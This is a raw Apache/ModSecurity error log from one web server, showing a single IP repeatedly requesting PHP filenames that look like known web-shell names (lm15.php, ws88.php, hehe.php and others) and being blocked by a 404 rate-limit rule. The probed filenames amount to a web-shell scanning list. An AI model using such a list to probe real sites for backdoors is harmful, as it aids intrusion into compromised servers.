[Sun Mar 29 02:24:58.829532 2026] [:error] [pid 39427:tid 39440] [client 20.197.233.108:64321] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "acgc-lvLf0RDUqcYq-ZRAAAAAAg"]
[Sun Mar 29 02:24:59.450250 2026] [:error] [pid 39428:tid 39469] [client 20.197.233.108:64397] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "acgc-6XMrozFMIaP8nIEWwAAAEo"]
[Sun Mar 29 02:25:00.128890 2026] [:error] [pid 39514:tid 39528] [client 20.197.233.108:63577] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "acgc_CkUyvlQod6qQu2mLwAAAMM"]
[Sun Mar 29 02:25:00.842825 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:64390] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "acgc_CkUyvlQod6qQu2mMwAAAME"]
[Sun Mar 29 02:25:01.472926 2026] [:error] [pid 39429:tid 39493] [client 20.197.233.108:63618] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "acgc_U8pSj6sqgZaItnnCwAAAIc"]
[Sun Mar 29 02:25:02.106997 2026] [:error] [pid 39514:tid 39542] [client 20.197.233.108:63628] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "acgc_ikUyvlQod6qQu2mOAAAANE"]
[Sun Mar 29 02:25:02.745713 2026] [:error] [pid 39514:tid 39544] [client 20.197.233.108:63665] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acgc_ikUyvlQod6qQu2mOQAAANM"]
[Sun Mar 29 02:25:03.373902 2026] [:error] [pid 39427:tid 39440] [client 20.197.233.108:64366] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acgc_1vLf0RDUqcYq-ZRCQAAAAg"]
[Sun Mar 29 02:25:03.992682 2026] [:error] [pid 39427:tid 39435] [client 20.197.233.108:63663] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acgc_1vLf0RDUqcYq-ZRCgAAAAM"]
[Sun Mar 29 02:25:04.663252 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:64371] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "acgdACkUyvlQod6qQu2mPgAAANA"]
[Sun Mar 29 02:25:05.284637 2026] [:error] [pid 39514:tid 39531] [client 20.197.233.108:63125] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "acgdASkUyvlQod6qQu2mQwAAAMY"]
[Sun Mar 29 02:25:05.941136 2026] [:error] [pid 39428:tid 39462] [client 20.197.233.108:63642] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "acgdAaXMrozFMIaP8nIEXgAAAEM"]
[Sun Mar 29 02:25:06.579419 2026] [:error] [pid 39429:tid 39504] [client 20.197.233.108:63640] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "acgdAk8pSj6sqgZaItnnEwAAAJI"]
[Sun Mar 29 02:25:07.226129 2026] [:error] [pid 39427:tid 39448] [client 20.197.233.108:64357] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "acgdA1vLf0RDUqcYq-ZRFAAAABA"]
[Sun Mar 29 02:25:07.861774 2026] [:error] [pid 39428:tid 39477] [client 20.197.233.108:64441] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "acgdA6XMrozFMIaP8nIEYgAAAFI"]
[Sun Mar 29 02:25:08.486148 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:64398] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "acgdBHVrXSgLxlxLi9A-yAAAAQ8"]
[Sun Mar 29 02:25:09.210998 2026] [:error] [pid 39514:tid 39540] [client 20.197.233.108:64385] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "acgdBSkUyvlQod6qQu2mSAAAAM8"]
[Sun Mar 29 02:25:09.848177 2026] [:error] [pid 39429:tid 39502] [client 20.197.233.108:64438] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "acgdBU8pSj6sqgZaItnnFgAAAJA"]
[Sun Mar 29 02:25:10.475917 2026] [:error] [pid 39429:tid 39503] [client 20.197.233.108:64340] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "acgdBk8pSj6sqgZaItnnFwAAAJE"]
[Sun Mar 29 02:25:11.105596 2026] [:error] [pid 39514:tid 39537] [client 20.197.233.108:64434] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "acgdBykUyvlQod6qQu2mTgAAAMw"]
[Sun Mar 29 02:25:11.743654 2026] [:error] [pid 39428:tid 39465] [client 20.197.233.108:63064] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "acgdB6XMrozFMIaP8nIEaAAAAEY"]
[Sun Mar 29 02:25:12.432432 2026] [:error] [pid 39428:tid 39460] [client 20.197.233.108:63675] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "acgdCKXMrozFMIaP8nIEawAAAEE"]
[Sun Mar 29 02:25:13.051041 2026] [:error] [pid 39514:tid 39536] [client 20.197.233.108:64342] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "acgdCSkUyvlQod6qQu2mVAAAAMs"]
[Sun Mar 29 02:25:13.723947 2026] [:error] [pid 39514:tid 39535] [client 20.197.233.108:63620] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "acgdCSkUyvlQod6qQu2mWAAAAMo"]
[Sun Mar 29 02:25:33.262569 2026] [:error] [pid 39514:tid 39530] [client 20.197.233.108:63666] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "acgdHSkUyvlQod6qQu2mfwAAAMU"]
[Sun Mar 29 02:25:33.890634 2026] [:error] [pid 39428:tid 39467] [client 20.197.233.108:63567] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "acgdHaXMrozFMIaP8nIEiQAAAEg"]
[Sun Mar 29 02:25:34.591116 2026] [:error] [pid 39428:tid 39475] [client 20.197.233.108:63629] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "acgdHqXMrozFMIaP8nIEiwAAAFA"]
[Sun Mar 29 02:25:35.214000 2026] [:error] [pid 39428:tid 39466] [client 20.197.233.108:64341] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tt.php"] [unique_id "acgdH6XMrozFMIaP8nIEjgAAAEc"]
[Sun Mar 29 02:25:35.927852 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:63631] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "acgdH3VrXSgLxlxLi9A-1gAAAQU"]
[Sun Mar 29 02:25:36.549189 2026] [:error] [pid 39514:tid 39542] [client 20.197.233.108:64368] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "acgdICkUyvlQod6qQu2mgQAAANE"]
[Sun Mar 29 02:25:37.187771 2026] [:error] [pid 39514:tid 39527] [client 20.197.233.108:64350] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "acgdISkUyvlQod6qQu2mhAAAAMI"]
[Sun Mar 29 02:25:37.821495 2026] [:error] [pid 39428:tid 39479] [client 20.197.233.108:63645] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "acgdIaXMrozFMIaP8nIEkgAAAFQ"]
[Sun Mar 29 02:25:38.859815 2026] [:error] [pid 39514:tid 39549] [client 20.197.233.108:64446] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "acgdIikUyvlQod6qQu2mhwAAANc"]
[Sun Mar 29 02:25:39.581969 2026] [:error] [pid 39514:tid 39525] [client 20.197.233.108:63649] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "acgdIykUyvlQod6qQu2mjAAAAME"]
[Sun Mar 29 02:25:40.333039 2026] [:error] [pid 39514:tid 39529] [client 20.197.233.108:64432] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "acgdJCkUyvlQod6qQu2mjgAAAMQ"]
[Sun Mar 29 02:25:41.145205 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:64377] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccs.php"] [unique_id "acgdJVvLf0RDUqcYq-ZRJAAAAAk"]
[Sun Mar 29 02:25:41.944732 2026] [:error] [pid 39514:tid 39539] [client 20.197.233.108:63638] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "acgdJSkUyvlQod6qQu2mkwAAAM4"]
[Sun Mar 29 02:25:42.669915 2026] [:error] [pid 39429:tid 39492] [client 20.197.233.108:64332] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "acgdJk8pSj6sqgZaItnnPgAAAIY"]
[Sun Mar 29 02:25:43.348115 2026] [:error] [pid 39427:tid 39432] [client 20.197.233.108:64391] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "acgdJ1vLf0RDUqcYq-ZRKAAAAAA"]
[Sun Mar 29 02:25:44.226887 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:63655] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "acgdKHVrXSgLxlxLi9A-2wAAAQ8"]
[Sun Mar 29 02:25:45.671156 2026] [:error] [pid 39514:tid 39530] [client 20.197.233.108:64324] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "acgdKSkUyvlQod6qQu2mlwAAAMU"]
[Sun Mar 29 02:25:46.746722 2026] [:error] [pid 39514:tid 39527] [client 20.197.233.108:64376] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "acgdKikUyvlQod6qQu2mmwAAAMI"]
[Sun Mar 29 02:25:47.744560 2026] [:error] [pid 39427:tid 39453] [client 20.197.233.108:63597] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "acgdK1vLf0RDUqcYq-ZRKgAAABU"]
[Sun Mar 29 02:25:48.418283 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:64439] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "acgdLHVrXSgLxlxLi9A-4AAAAQo"]
[Sun Mar 29 02:25:49.125525 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:63558] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "acgdLXVrXSgLxlxLi9A-4wAAAQw"]
[Sun Mar 29 02:25:49.768152 2026] [:error] [pid 39428:tid 39482] [client 20.197.233.108:64435] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "acgdLaXMrozFMIaP8nIEnAAAAFc"]
[Sun Mar 29 02:25:50.437206 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:64326] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "acgdLnVrXSgLxlxLi9A-5gAAARE"]
[Sun Mar 29 02:25:51.091648 2026] [:error] [pid 39429:tid 39510] [client 20.197.233.108:64367] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "acgdL08pSj6sqgZaItnnTgAAAJg"]
[Sun Mar 29 02:25:51.767997 2026] [:error] [pid 39514:tid 39550] [client 20.197.233.108:64343] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "acgdLykUyvlQod6qQu2mnQAAANg"]
[Sun Mar 29 02:25:52.393316 2026] [:error] [pid 39429:tid 39501] [client 20.197.233.108:63676] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "acgdME8pSj6sqgZaItnnUQAAAI8"]
[Sun Mar 29 02:25:53.013590 2026] [:error] [pid 39427:tid 39434] [client 20.197.233.108:63121] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "acgdMVvLf0RDUqcYq-ZRKwAAAAI"]
[Sun Mar 29 02:25:53.638736 2026] [:error] [pid 39429:tid 39508] [client 20.197.233.108:63674] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "acgdMU8pSj6sqgZaItnnUwAAAJY"]
[Sun Mar 29 02:25:54.261730 2026] [:error] [pid 39428:tid 39460] [client 20.197.233.108:63636] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "acgdMqXMrozFMIaP8nIEoQAAAEE"]
[Sun Mar 29 02:25:54.935577 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:63565] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "acgdMikUyvlQod6qQu2moQAAAM0"]
[Sun Mar 29 02:25:55.553495 2026] [:error] [pid 39428:tid 39476] [client 20.197.233.108:63156] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "acgdM6XMrozFMIaP8nIEowAAAFE"]
[Sun Mar 29 02:25:56.200955 2026] [:error] [pid 39428:tid 39461] [client 20.197.233.108:63653] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "acgdNKXMrozFMIaP8nIEpAAAAEI"]
[Sun Mar 29 02:25:56.826992 2026] [:error] [pid 39429:tid 39510] [client 20.197.233.108:63572] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-104.php"] [unique_id "acgdNE8pSj6sqgZaItnnXwAAAJg"]
